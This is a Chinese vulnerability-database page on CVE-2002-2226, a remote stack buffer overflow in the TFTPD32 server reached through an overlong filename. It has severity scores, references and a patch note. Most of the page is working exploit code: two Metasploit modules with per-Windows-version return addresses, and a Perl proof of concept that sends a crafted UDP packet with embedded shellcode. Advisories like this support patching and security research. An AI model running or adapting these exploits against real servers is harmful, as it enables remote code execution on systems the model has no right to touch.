CVE-2002-2226
CVSS7.5
发布时间 :2002-12-31 00:00:00
修订时间 :2009-11-24 00:15:20
NMCOEP    

[原文]Buffer overflow in tftpd of TFTP32 2.21 and earlier allows remote attackers to execute arbitrary code via a long filename argument.


[CNNVD]TFTPD32远程缓冲区溢出漏洞(CNNVD-200212-603)

        
        TFTPD32是适用于Windows操作系统下的TFTP服务程序。
        TFTPD32对用户文件请求缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以tftpd进程的权限在系统上执行任意指令。
        攻击者向TFTPD32服务程序提交超长文件名请求,可导致触发缓冲区溢出攻击,精心构建提交数据可能以tftpd进程的权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2226
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-2226
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-603
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/632633
(UNKNOWN)  CERT-VN  VU#632633
http://xforce.iss.net/xforce/xfdb/10647
(UNKNOWN)  XF  tftp32-filename-bo(10647)
http://www.securityfocus.com/bid/6199
(UNKNOWN)  BID  6199
http://www.securityfocus.com/archive/1/300395
(UNKNOWN)  BUGTRAQ  20021118 TFTPD32 Buffer Overflow Vulnerability (Long filename)
http://www.securiteam.com/windowsntfocus/6C00C2061A.html
(UNKNOWN)  MISC  http://www.securiteam.com/windowsntfocus/6C00C2061A.html
http://tftpd32.jounin.net/
(UNKNOWN)  MISC  http://tftpd32.jounin.net/
http://securityreason.com/securityalert/3160
(UNKNOWN)  SREASON  3160

- 漏洞信息

TFTPD32远程缓冲区溢出漏洞
高危 缓冲区溢出
2002-12-31 00:00:00 2009-11-24 00:00:00
远程  
        
        TFTPD32是适用于Windows操作系统下的TFTP服务程序。
        TFTPD32对用户文件请求缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以tftpd进程的权限在系统上执行任意指令。
        攻击者向TFTPD32服务程序提交超长文件名请求,可导致触发缓冲区溢出攻击,精心构建提交数据可能以tftpd进程的权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        TFTPD32
        -------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载TFTPD32 2.51版本:
        
        http://perso.wanadoo.fr/philippe.jounin/download/tftpd32j.zip

- 漏洞信息 (16349)

TFTPD32 <= 2.21 Long Filename Buffer Overflow (EDBID:16349)
windows remote
2010-09-20 Verified
0 metasploit
[点击下载] [点击下载]
##
# $Id: tftpd32_long_filename.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in TFTPD32 version 2.21
				and prior. By sending a request for an overly long file name
				to the tftpd32 server, a remote attacker could overflow a buffer and
				execute arbitrary code on the system.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2002-2226'],
					['OSVDB', '45903'],
					['BID', '6199'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 250,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows NT 4.0 SP6a English',    { 'Ret' => 0x77f9d463} ],
					['Windows 2000 Pro SP4 English',   { 'Ret' => 0x7c2ec663} ],
					['Windows XP Pro SP0 English',     { 'Ret' => 0x77dc0df0} ],
					['Windows XP Pro SP1 English',     { 'Ret' => 0x77dc5527} ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Nov 19 2002'
			))

		register_options(
			[
				Opt::RPORT(69)
			], self)
	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		sploit =
			"\x00\x01" +
			rand_text_english(120, payload_badchars) +
			"." +
			rand_text_english(135, payload_badchars) +
			[target.ret].pack('V') +
			payload.encoded +
			"\x00"

		udp_sock.put(sploit)

		disconnect_udp
	end

end
		

- 漏洞信息 (22025)

TFTPD32 2.50 Long Filename Buffer Overflow Vulnerability (EDBID:22025)
windows remote
2002-11-19 Verified
0 Aviram Jenik
N/A [点击下载]
source: http://www.securityfocus.com/bid/6199/info

A buffer-overflow vulnerability has been reported for Tftpd32. The vulnerability is due to insufficient checks on user-supplied input. 

A remote attacker can exploit this vulnerability by supplying a long string as a name of the file to retrieve. This will trigger the buffer-overflow condition. Any malicious attacker-supplied code will be executed with the privileges of the Tftpd32 process.

#!/usr/bin/perl
#TFTP Server remote Buffer Overflow
use IO::Socket;
$host = "192.168.1.53";
$port = "69";
$data = "A";

#$buf .= "\x00\x02"; # Send ---- Choose one
$buf .= "\x00\x01"; # Recieve

$buf .= "A";
$num = "116";
$buf .= $data x $num;
$buf .= ".";
$num = "140"; # EIP section
$buf .= $data x $num;

$address = "\xFF\xFF\xFF\xFF";
$buf .= $address;

$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$egg .= "\x90\x90\x90\x90\x90\x90";
$buf .= $egg;

$buf .= "\x00binary\x00";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
$!\n";
print "Now, '$host' should open up a notepad\n";		

- 漏洞信息 (F82988)

TFTPD32 <= 2.21 Long Filename Buffer Overflow (PacketStormID:F82988)
2009-11-26 00:00:00
MC  metasploit.com
exploit,remote,overflow,arbitrary
CVE-2002-2226
[点击下载]

This Metasploit module exploits a stack overflow in TFTPD32 version 2.21 and prior. By sending a request for an overly long file name to the tftpd32 server, a remote attacker could overflow a buffer and execute arbitrary code on the system.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in TFTPD32 version 2.21
				and prior. By sending a request for an overly long file name
				to the tftpd32 server, a remote attacker could overflow a buffer and
				execute arbitrary code on the system.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision$',
			'References'     => 
				[ 
				    	['CVE', '2002-2226'],
					['OSVDB', '45903'],
					['BID', '6199'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 250,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			
			'Targets'        =>
				[
					['Windows NT 4.0 SP6a English',    { 'Ret' => 0x77f9d463} ],
					['Windows 2000 Pro SP4 English',   { 'Ret' => 0x7c2ec663} ], 
					['Windows XP Pro SP0 English',     { 'Ret' => 0x77dc0df0} ], 
					['Windows XP Pro SP1 English',     { 'Ret' => 0x77dc5527} ],  
				],

			'Privileged'     => true,

			'DisclosureDate' => 'Nov 19 2002'

			))

			register_options(
				[
						Opt::RPORT(69)
				], self)

	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		sploit = 
			"\x00\x01" + 
			rand_text_english(120, payload_badchars) + 
			"." +
			rand_text_english(135, payload_badchars) + 
			[target.ret].pack('V') +
			payload.encoded + 
			"\x00"
			
		udp_sock.put(sploit)
		
		disconnect_udp		
	end

end
    

- 漏洞信息

45903
Tftpd32 tftpd Filename Argument Handling Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

A buffer overflow exists in Tftpd32. tftpd fails to validate filename arguments resulting in a stack overflow. With a specially crafted request, a remote attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2002-11-19 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 2.50.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站